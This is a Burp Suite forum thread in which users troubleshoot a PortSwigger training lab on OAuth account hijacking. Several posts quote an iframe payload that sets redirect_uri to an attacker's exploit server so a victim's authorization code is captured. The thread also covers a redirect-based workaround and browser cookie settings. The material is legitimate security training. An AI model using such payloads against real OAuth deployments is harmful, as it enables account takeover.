Burp Suite User Forum

Create new post

Issues on the proposed solution to Lab: OAuth account hijacking via redirect_uri

Samuele | Last updated: May 15, 2024 04:58PM UTC

We tried to solve https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri using the proposed solution. In particular, to steal the authorization code, such solution specifies to have the exploit server to return to the victim a page with an iframe that refers to the authorization request URL, with redirect_uri referring to the exploit server. However, this solution didn't work for us: the OAuth server returns a "SessionNotFound: invalid_request" error message within the iframe after trying to self-attack through the "view exploit" feature. Finally, we managed to steal the authorization code by redirecting the victim (via a "301 Found" HTTP response) from the exploit server to the authorization request URL. We used the latest version of the Burp suite to solve the lab. Additionally, we believe that the exploit code template described in the proposed solution contains an inaccuracy. Currently, the exploit code is: <iframe src="https://oauth-your-lab-oauth-server-id.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe> but it should be (note the addition of the "exploit-" prefix in the hostname of the redirect_uri): <iframe src="https://oauth-your-lab-oauth-server-id.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://exploit-YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Ben, PortSwigger Agent | Last updated: May 16, 2024 01:11PM UTC

Hi Samuele, Which browser are you using when you attempt this particular lab? This may or may not be clear within the solution itself but the <YOUR-EXPLOIT-SERVER-ID> would, from our point of view, also include the 'exploit-' prefix of the URL.

Samuele | Last updated: May 16, 2024 04:21PM UTC

Thank you for the reply. I am using Chromium 124.0.6367.118 embedded in the Burp Suite Community Edition v2024.3.1.4. Regarding the "exploit-" prefix, the final exploit must include it. However, since the solution includes "oauth-" before <YOUR-LAB-OAUTH-SERVER-ID>, we believe that it would have been more consistent to also include "exploit-" before <YOUR-EXPLOIT-SERVER-ID>. Anyway, that's just my opinion.

Ben, PortSwigger Agent | Last updated: May 17, 2024 10:02AM UTC

Hi Samuele, If you use a standard version of Chrome (rather than the embedded browser) are you able to solve the lab using the written solution provided? We can certainly pass that feedback on to the content team so that they are aware the required URL may not be immediately obvious to all users.

Samuele | Last updated: May 17, 2024 12:51PM UTC

I tried to solve the lab using the proposed solution on the official build of Chrome 124.0.6367.209, the problem persists.

Ben, PortSwigger Agent | Last updated: May 17, 2024 01:20PM UTC

Hi Samuele, Are you able to email us at support@portswigger.net and include a screenshot of the exploit you are using and what you see in the access logs? I am able to get both the 'View exploit' and 'Deliver to victim' functionality to work using a standard version of Chrome so it would be useful to see exactly what you are doing.

Samuele | Last updated: May 20, 2024 05:40PM UTC

I think I've found the cause of the issue. Both in Burp's embedded Chromium and official Chrome build (I tested in incognito mode - sorry for the inconvenience), the "_session" cookie is not sent along the "/auth" request within the iframe (proposed solution), while it is sent when the top-level frame is redirected (my solution). The proposed solution works fine in normal (non-incognito) mode using the official Chrome build.

Dominic | Last updated: Jun 27, 2024 05:31PM UTC

I am also getting the "SessionNotFound: invalid_request" error message when viewing the iFrame exploit. Thus, the access logs only show my requests and no access logs from the victim. I tried in both Chrome and Burp's embedded browser.

Ben, PortSwigger Agent | Last updated: Jun 28, 2024 07:53AM UTC

Hi Dominic, If you use a standard version of Chrome (rather than the embedded browser or Firefox) does this allow you to solve the lab using the written solution?

Carlos | Last updated: Jul 01, 2024 05:38PM UTC

Hi Ben, I can confirm you that the exploit IS NOT WORKING on Chrome / Chromium. How we can proceed? Thanks in advance!

Ben, PortSwigger Agent | Last updated: Jul 02, 2024 08:36AM UTC

Hi Carlos, If you carry out the following in the embedded browser (obviously, this is allowing the use of third party cookies from the Web Academy environment so please make sure that you are happy with this approach before altering this setting), does this then allow you to solve the lab: 1. Navigate to "Privacy and security --> Tracking Protection". 2. Add "https://[*.]exploit-server.net" to the "Sites allowed to use third-party cookies".

Andre | Last updated: Jul 24, 2024 07:01PM UTC

I am able to view the code in the logs when I click view exploit. But when I send the explploit to the victim, I don't receive any code. I have tried in chrome from burp, regular chrome, edge, firefox. I have added "https://[*.]exploit-server.net" to the "Sites allowed to use third-party cookies". Any other things I can try? I have followed the steps exactly as they are listed in the solution. <iframe src="https://oauth-0a2d000004fe8d3c86f15146028d0000.oauth-server.net/auth?client_id=y9epqf6ww2rofxfxkkljw&redirect_uri=https://exploit-0a22005404b58d9986eb520b01e900a2.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Ben, PortSwigger Agent | Last updated: Jul 25, 2024 08:39AM UTC

Hi Andre, We have received your email about this so we will respond to you from there.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.